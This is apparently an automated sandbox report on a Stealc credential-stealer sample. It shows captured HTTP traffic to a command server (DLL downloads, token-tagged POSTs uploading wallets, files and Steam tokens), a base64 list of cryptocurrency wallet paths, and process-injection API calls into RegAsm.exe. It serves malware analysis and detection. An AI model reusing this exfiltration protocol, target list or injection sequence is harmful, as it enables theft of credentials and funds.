Aug 27, 2024 20:12:07.381567001 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:12:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 16:49:08 GMT ETag: "3ef50-5e7f0dbb82900" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Aug 27, 2024 20:12:07.506736040 CEST	97	OUT	GET /58b7620e0f34e81d/vcruntime140.dll HTTP/1.1 Host: 147.45.47.253 Cache-Control: no-cache
Aug 27, 2024 20:12:07.693991899 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:12:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 16:49:08 GMT ETag: "13bf0-5e7f0dbb82900" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Aug 27, 2024 20:12:07.843590975 CEST	200	OUT	POST /072aacac8f68fd5f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJECBKKECFIEBGCAKJK Host: 147.45.47.253 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Aug 27, 2024 20:12:08.083453894 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:12:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 27, 2024 20:12:08.104676962 CEST	467	OUT	POST /072aacac8f68fd5f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAF Host: 147.45.47.253 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 66 30 33 31 36 65 66 34 31 32 65 38 35 31 31 65 37 38 38 39 34 63 32 30 37 38 39 64 38 64 36 34 39 36 37 65 39 34 32 37 35 30 32 32 63 35 31 63 30 37 66 37 39 34 36 34 61 65 66 39 64 34 63 37 32 39 30 34 38 62 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 2d 2d 0d 0a Data Ascii: ------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="token"fef0316ef412e8511e78894c20789d8d64967e94275022c51c07f79464aef9d4c729048b------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="message"wallets------EHJDGHJDBFIJKECAECAF--
Aug 27, 2024 20:12:08.296530962 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:12:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Aug 27, 2024 20:12:08.298954964 CEST	465	OUT	POST /072aacac8f68fd5f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJKEHJEGCFCAKFIIJJJ Host: 147.45.47.253 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 48 4a 45 47 43 46 43 41 4b 46 49 49 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 66 30 33 31 36 65 66 34 31 32 65 38 35 31 31 65 37 38 38 39 34 63 32 30 37 38 39 64 38 64 36 34 39 36 37 65 39 34 32 37 35 30 32 32 63 35 31 63 30 37 66 37 39 34 36 34 61 65 66 39 64 34 63 37 32 39 30 34 38 62 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 48 4a 45 47 43 46 43 41 4b 46 49 49 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 48 4a 45 47 43 46 43 41 4b 46 49 49 4a 4a 4a 2d 2d 0d 0a Data Ascii: ------GHJKEHJEGCFCAKFIIJJJContent-Disposition: form-data; name="token"fef0316ef412e8511e78894c20789d8d64967e94275022c51c07f79464aef9d4c729048b------GHJKEHJEGCFCAKFIIJJJContent-Disposition: form-data; name="message"files------GHJKEHJEGCFCAKFIIJJJ--
Aug 27, 2024 20:12:08.488775969 CEST	267	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:12:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 64 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 66 43 56 45 52 56 4e 4c 56 45 39 51 4a 56 78 38 66 44 55 77 4d 48 77 78 66 44 46 38 4d 48 78 38 4a 55 52 50 51 31 56 4e 52 55 35 55 55 79 56 63 66 48 77 31 4d 44 42 38 4d 58 77 78 66 44 42 38 Data Ascii: fCVERVNLVE9QJVx8fDUwMHwxfDF8MHx8JURPQ1VNRU5UUyVcfHw1MDB8MXwxfDB8
Aug 27, 2024 20:12:08.500777960 CEST	563	OUT	POST /072aacac8f68fd5f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECGIEBAEBFIIECBGCBG Host: 147.45.47.253 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 47 49 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 66 30 33 31 36 65 66 34 31 32 65 38 35 31 31 65 37 38 38 39 34 63 32 30 37 38 39 64 38 64 36 34 39 36 37 65 39 34 32 37 35 30 32 32 63 35 31 63 30 37 66 37 39 34 36 34 61 65 66 39 64 34 63 37 32 39 30 34 38 62 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 47 49 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 47 49 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IECGIEBAEBFIIECBGCBGContent-Disposition: form-data; name="token"fef0316ef412e8511e78894c20789d8d64967e94275022c51c07f79464aef9d4c729048b------IECGIEBAEBFIIECBGCBGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IECGIEBAEBFIIECBGCBGContent-Disposition: form-data; name="file"------IECGIEBAEBFIIECBGCBG--
Aug 27, 2024 20:12:08.691111088 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:12:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 27, 2024 20:12:08.725131035 CEST	203	OUT	POST /072aacac8f68fd5f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKKJKKECFIDGDHIJEGD Host: 147.45.47.253 Content-Length: 114419 Connection: Keep-Alive Cache-Control: no-cache
Aug 27, 2024 20:12:09.206866980 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:12:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 27, 2024 20:12:09.210097075 CEST	472	OUT	POST /072aacac8f68fd5f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDAKFCGIJKJKFHIDHII Host: 147.45.47.253 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 66 30 33 31 36 65 66 34 31 32 65 38 35 31 31 65 37 38 38 39 34 63 32 30 37 38 39 64 38 64 36 34 39 36 37 65 39 34 32 37 35 30 32 32 63 35 31 63 30 37 66 37 39 34 36 34 61 65 66 39 64 34 63 37 32 39 30 34 38 62 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 2d 2d 0d 0a Data Ascii: ------DHDAKFCGIJKJKFHIDHIIContent-Disposition: form-data; name="token"fef0316ef412e8511e78894c20789d8d64967e94275022c51c07f79464aef9d4c729048b------DHDAKFCGIJKJKFHIDHIIContent-Disposition: form-data; name="message"ybncbhylepme------DHDAKFCGIJKJKFHIDHII--
Aug 27, 2024 20:12:09.399247885 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:12:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 27, 2024 20:12:09.400258064 CEST	472	OUT	POST /072aacac8f68fd5f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFCFBAAEHCFHJJKEHJK Host: 147.45.47.253 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 66 30 33 31 36 65 66 34 31 32 65 38 35 31 31 65 37 38 38 39 34 63 32 30 37 38 39 64 38 64 36 34 39 36 37 65 39 34 32 37 35 30 32 32 63 35 31 63 30 37 66 37 39 34 36 34 61 65 66 39 64 34 63 37 32 39 30 34 38 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="token"fef0316ef412e8511e78894c20789d8d64967e94275022c51c07f79464aef9d4c729048b------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AKFCFBAAEHCFHJJKEHJK--
Aug 27, 2024 20:12:09.888477087 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:12:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	14:11:55
Start date:	27/08/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x610000
File size:	203'264 bytes
MD5 hash:	FC980ED1DA175090E176C4C4B9B1FD01
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:11:55
Start date:	27/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:11:55
Start date:	27/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x9c0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.2243570891.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000002.00000002.2243570891.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	23.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	80.8%
Total number of Nodes:	26
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0298249D Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 0298260C
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0298261F
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 0298263D
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 02982661
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 0298268C
WriteProcessMemory.KERNELBASE(?,00000000,?,?,00000000,?), ref: 029826E4
WriteProcessMemory.KERNELBASE(?,?,?,?,00000000,?,00000028), ref: 0298272F
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 0298276D
Wow64SetThreadContext.KERNEL32(?,?), ref: 029827A9
ResumeThread.KERNELBASE(?), ref: 029827B8

Strings

Load, xrefs: 029824DB
GetP, xrefs: 0298251F
aryA, xrefs: 029824E3
ress, xrefs: 02982527

Memory Dump Source

Source File: 00000000.00000002.2111904772.0000000002982000.00000040.00000800.00020000.00000000.sdmp, Offset: 02982000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2982000_file.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: GetP$Load$aryA$ress
API String ID: 2687962208-977067982
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: f9c7d2c107d0254d1afd7cd2daf06cce62f5c7b5573c368ba30fe2f2d5a21708
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: ABB1E77664028AAFDB60CF68CC80BDA77A5FF88714F158524EA0CAB341D774FA41CB94

Function 00EB0E31 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 393
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,03983594,?,?,?,?,?,?,?,?,?,?,00EB0B41,?,00000040,?), ref: 00EB13D4

Strings

#l>@, xrefs: 00EB115E
&S!, xrefs: 00EB0EB8

Memory Dump Source

Source File: 00000000.00000002.2111682020.0000000000EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID: #l>@$&S!
API String ID: 544645111-1705501573
Opcode ID: 3ab4001b3ce832b333b5585abde1b8973aae0f1d4632f0dee3948d822d546dae
Instruction ID: 33e78931cb738268decb6ff3afb3b121da4c0353e15160443a10d9120ed3a9e1
Opcode Fuzzy Hash: 3ab4001b3ce832b333b5585abde1b8973aae0f1d4632f0dee3948d822d546dae
Instruction Fuzzy Hash: 26F17AB0A012688FDB24CF99C890BDEBBB2BB48314F658599E558BB311D73099858F94

Function 00EB0988 Relevance: 2.8, Strings: 2, Instructions: 272
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\ {h, xrefs: 00EB09D8
ak3, xrefs: 00EB0A25

Memory Dump Source

Source File: 00000000.00000002.2111682020.0000000000EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_file.jbxd

Similarity

API ID: CreateProtectRemoteThreadVirtual
String ID: \ {h$ak3
API String ID: 2395912828-2677785941
Opcode ID: bd963f623bd3307ae01041906855bb80e82a11e0e16a71e5b82728ef925702fb
Instruction ID: 5d229557a58b087157a06c66eeb1ed2966e2a797ca1de5c30f4b57f234b654c4
Opcode Fuzzy Hash: bd963f623bd3307ae01041906855bb80e82a11e0e16a71e5b82728ef925702fb
Instruction Fuzzy Hash: 3DC12FB4E00218CFDB14DFA9C980BDEBBB2FB88304F149199E519BB255DB70A945CF11

Function 00EB0979 Relevance: 2.7, Strings: 2, Instructions: 234
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\ {h, xrefs: 00EB09D8
ak3, xrefs: 00EB0A25

Memory Dump Source

Source File: 00000000.00000002.2111682020.0000000000EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_file.jbxd

Similarity

API ID:
String ID: \ {h$ak3
API String ID: 0-2677785941
Opcode ID: af0a67ff99ad4e5b2c3bd4d274dbe8455733729746e874008c6db42cf99e04b0
Instruction ID: eba730b5161780977c09f6c12894bd25b4bad8cb0508367f19915143a009ccaa
Opcode Fuzzy Hash: af0a67ff99ad4e5b2c3bd4d274dbe8455733729746e874008c6db42cf99e04b0
Instruction Fuzzy Hash: 6FA14CB4E01218CFDB24CF99C981BDEBBB2FB88304F1492A9E119BB255C7706984CF11

Function 00EB04EC Relevance: 1.6, APIs: 1, Instructions: 69
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThread.KERNELBASE(?,00000000,?,?,00000000,?,?,?,?,?,?,?,?,?,00EB0B7E,?), ref: 00EB14B4

Memory Dump Source

Source File: 00000000.00000002.2111682020.0000000000EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_file.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: 16d2379ddce1d212ac7b26d0a5e0e03c3cc6d7b69c089807f84bb023e16173bc
Instruction ID: d6515517714a3c9fea3d30f0d87e10aae9006c418ec0de60b58a00b6dc0fad92
Opcode Fuzzy Hash: 16d2379ddce1d212ac7b26d0a5e0e03c3cc6d7b69c089807f84bb023e16173bc
Instruction Fuzzy Hash: 6E3102B1900249DFCB10CF9AD984ADEBBF4FB48314F20842AEA19A7350D375A950CFA0

Function 00EB04E0 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,03983594,?,?,?,?,?,?,?,?,?,?,00EB0B41,?,00000040,?), ref: 00EB13D4

Memory Dump Source

Source File: 00000000.00000002.2111682020.0000000000EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4d5a9f96441ca8e70c4bbd5545e5d9c456d3ac7d4f5b274a14bf8235f6911b0a
Instruction ID: b28dbd575e3293b559c6b509f5e4bfbcac00d0fad20c7b3e17676b0d3859854d
Opcode Fuzzy Hash: 4d5a9f96441ca8e70c4bbd5545e5d9c456d3ac7d4f5b274a14bf8235f6911b0a
Instruction Fuzzy Hash: 2221E4B1900259EFCB00CF9AD884ADEFBB4FB48324F508159EA18B7200D3B46954CBA1

Non-executed Functions

Function 00EB0BA7 Relevance: .1, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2111682020.0000000000EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_file.jbxd

